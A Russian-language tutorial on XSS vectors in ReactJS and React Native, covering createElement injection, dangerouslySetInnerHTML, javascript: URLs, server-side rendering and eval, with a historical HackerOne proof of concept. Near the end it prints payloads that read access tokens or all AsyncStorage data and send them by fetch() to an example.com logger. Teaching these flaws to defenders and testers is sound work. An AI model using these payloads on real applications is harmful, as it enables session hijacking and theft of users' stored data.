ReactJS - популярная библиотека JavaScript для создания пользовательских интерфейсов. Он позволяет создавать многофункциональные веб-приложения, отрисовываемые клиентом, которые загружаются полностью заранее, что упрощает взаимодействие с пользователем.

Учитывая, что приложения React реализуют большую часть клиентской логики в JavaScript, не кажется неправдоподобным предположение, что атаки типа XSS могут иметь смысл.

Оказывается, ReactJS вполне безопасен по конструкции, если он используется так, как задумано. Например, строковые переменные в представлениях экранируются автоматически. Однако, как и все хорошее в жизни, не исключено, что все испортят. Проблемы с внедрением скриптов могут возникать в результате неправильного программирования, в том числе из-за следующего:

  • Создание компонентов React из пользовательских объектов;
  • Отображение ссылок с предоставленными пользователем атрибутами href или другими тегами HTML с добавляемыми атрибутами (тег link, импорт HMTL5);
  • Явная установка свойства dangerouslySetInnerHTML элемента;
  • Передача пользовательских строк в eval().

В мире, где правит закон Мерфи, все это гарантировано, так что давайте посмотрим поближе.

Компоненты, реквизит и элементы

Компоненты - это основной строительный блок ReactJS. Концептуально они похожи на функции JavaScript. Они принимают произвольные входные данные (реквизиты) и возвращают элементы React, описывающие, что должно появиться на экране. Базовый компонент выглядит следующим образом:

class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}</h1>;
  }
}

Обратите внимание на странный синтаксис в заявлении return: это JSX, расширение синтаксиса для JavaScript. В процессе сборки код JSX транслируется в обычный код JavaScript (ES5). Следующие два примера эквивалентны:

// JSX
const element = (
  <h1 className=”greeting”>
  Hello, world!
  </h1>
);
// Transpiled to createElement() call
const element = React.createElement(
  ‘h1’,
  {className: ‘greeting’},
  ‘Hello, world!’
);

Новые элементы React создаются из классов компонентов с помощью функции createElement():

React.createElement(
  type,
  [props],
  [...children]
)

Эта функция принимает три аргумента:

  • type может быть либо строкой имени тега (например, 'div' или 'span'), либо классом компонента. В React Native разрешены только классы компонентов.
  • props содержит список атрибутов, переданных новому элементу.
  • children содержит дочерние узлы нового элемента (которые, в свою очередь, являются дополнительными компонентами React).

Существует несколько векторов атаки, если вы можете контролировать любой из этих аргументов.

Внедрение дочерних узлов

В марте 2015 года Дэниел ЛеЧеминант сообщил о сохраненной уязвимости межсайтового скриптинга в HackerOne. Проблема была вызвана тем, что веб-приложение HackerOne передало произвольный пользовательский объект в качестве аргумента children в React.createElement(). Предположительно, уязвимый код должен был выглядеть примерно так:

/* Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
attacker_supplied_value = JSON.parse(some_user_input)
*/
render() {  
 return <span>{attacker_supplied_value}</span>;
}

Этот JSX будет преобразован в следующий JavaScript:

React.createElement("span", null, attacker_supplied_value};

Когда attacker_supplied_value был строкой, как ожидалось, это произвело бы обычный элемент span. Однако функция createElement() в текущей на тот момент версии ReactJS также будет принимать простые объекты, переданные как children. Дэниел воспользовался этой проблемой, предоставив объект в кодировке JSON. Он включил опору dangerouslySetInnerHTML, позволяющую ему вставлять необработанный HTML в вывод, отображаемый React. Его окончательное доказательство концепции выглядело следующим образом:

{
 _isReactElement: true,
 _store: {},
 type: "body",
 props: {
   dangerouslySetInnerHTML: {
     __html:
     "<h1>Arbitrary HTML</h1>
     <script>alert(‘No CSP Support :(')</script>
     <a href='http://danlec.com'>link</a>"
    }
  }
}

После публикации в блоге Даниэля на React.js GitHub были обсуждены возможные способы устранения рисков. В ноябре 2015 года Себастьян Маркбоге зафиксировал исправление: элементы React теперь были помечены атрибутом $$typeof: Symbol.for('react.element').. Поскольку нет возможности ссылаться на глобальный символ JavaScript из внедренного объекта, техника Дэниела по внедрению дочерних элементов больше не может использоваться.

Тип управляющего элемента

Несмотря на то, что простые объекты больше не работают как элементы ReactJS, внедрение компонентов по-прежнему не является полностью невозможным, поскольку createElement также принимает строки в аргументе type. Предположим, разработчик сделал что-то вроде этого:

// Dynamically create an element from a string stored in the backend.
element_name = stored_value;
React.createElement(element_name, null);

Если бы stored_value был строкой, контролируемой злоумышленником, можно было бы создать произвольный компонент React. Однако в результате получится только простой HTML-элемент без атрибутов (то есть бесполезный для злоумышленника). Чтобы сделать что-то полезное, нужно уметь управлять свойствами вновь созданного элемента.

Впрыскивание реквизита

Рассмотрим следующий код:

// Parse attacker-supplied JSON for some reason and pass
// the resulting object as props.
// Don't do this at home unless you are a trained expert!
attacker_props = JSON.parse(stored_value)
React.createElement("span", attacker_props};

Здесь мы можем добавить произвольные свойства в новый элемент. Мы могли бы использовать следующую полезную нагрузку для установки свойства dangerouslySetInnerHTML:

{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}

Классический XSS

Некоторые традиционные векторы XSS также применимы в приложениях ReactJS. Обратите внимание на следующие анти-паттерны:

Явная установка опасноSetInnerHTML

Разработчики могут специально установить свойство dangerouslySetInnerHTML.

<div dangerouslySetInnerHTML={user_supplied} />

Очевидно, что если вы контролируете значение этой опоры, вы можете вставить любой JavaScript, какой пожелаете.

Инъекционные атрибуты

Если вы управляете атрибутом href динамически генерируемого тега a, ничто не помешает вам внедрить javascript: URL. Некоторые другие атрибуты, такие как formaction в кнопках HTML5, также работают в современном браузере.

<a href={userinput}>Link</a>
<button form="name" formaction={userinput}>

Еще один экзотический вектор внедрения, который работает в современных браузерах, - это импорт HTML5:

<link rel="import" href={user_supplied}>

HTML-код, отображаемый на стороне сервера

Чтобы улучшить время начальной загрузки страницы, в последнее время наблюдается тенденция к предварительному рендерингу страниц React.JS на сервере (рендеринг на стороне сервера). В ноябре 2016 года Эмилия Смит указала, что официальный образец кода Redux для SSR привел к уязвимости межсайтового скриптинга, потому что состояние клиента было объединено в предварительно обработанную страницу без экранирования (образец кода имеет с тех пор было исправлено).

Вывод: если HTML предварительно обрабатывается на стороне сервера, вы можете увидеть те же типы проблем XSS, что и в «обычных» веб-приложениях.

Eval-based инъекция

Если вы можете управлять строкой, которая динамически оценивается, вы сорвали джекпот и можете приступить к введению произвольного кода по вашему выбору. Это должно быть редкостью.

function antiPattern() {
  eval(this.state.attacker_supplied);
}
// Or even crazier
fn = new Function("..." + attacker_supplied + "...");
fn();

Полезная нагрузка XSS

В современном мире сеансовые куки так же устарели, как ручные пишущие машинки и кефали в стиле МакГайвера. Современный гибкий разработчик использует токены сеанса без сохранения состояния, элегантно сохраняемые в локальном хранилище на стороне клиента. Следовательно, хакеры должны соответствующим образом адаптировать свои полезные нагрузки.

При использовании XSS-атаки в веб-приложении ReactJS вы можете внедрить что-то вроде следующих строк, чтобы получить токен доступа из локального хранилища и отправить его в регистратор:

fetch(‘http://example.com/logger.php?token='+localStorage.access_token);

Как насчет React Native?

React Native - это платформа для мобильных приложений, которая позволяет создавать нативные мобильные приложения с использованием ReactJS. В частности, он предоставляет вам среду выполнения, которая может запускать пакеты React JavaScript на мобильных устройствах.

В истинном стиле Inception вы можете портировать приложение React Native для работы в обычных веб-браузерах с помощью React Native for Web (веб-приложение в мобильном приложении в веб-приложении). Это означает, что вы создаете приложения для браузеров Android, iOS и Desktop на основе единой базы кода.

Из того, что я видел до сих пор, большинство перечисленных выше векторов внедрения скриптов не работают в React Native:

  • Метод createInternalComponent React Native принимает только классы компонентов с тегами, поэтому даже если вы полностью контролируете аргументы createElement(), вы не можете создавать произвольные элементы;
  • HTML-элементов не существует, и HTML не анализируется, поэтому стандартные XSS-векторы на основе браузера (например, href) использовать нельзя.

Только вариант на основе eval() кажется пригодным для использования на мобильных устройствах. Если вы получили код JavaScript, введенный через eval(), вы можете получить доступ к React Native API и делать интересные вещи. Например, вы можете украсть все данные из локального хранилища (AsyncStorage), выполнив что-то вроде:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});});

TL;DR

Несмотря на то, что ReactJS вполне безопасен по своей конструкции, все же возможно напортачить. Плохие методы программирования могут привести к использованию уязвимостей в системе безопасности.

  • Тестеры безопасности: вставляйте JavaScript и JSON везде, где можете, и смотрите, что происходит.
  • Разработчики: никогда не используйтеeval() или dangerouslySetInnerHTML. Избегайте синтаксического анализа предоставленного пользователем JSON.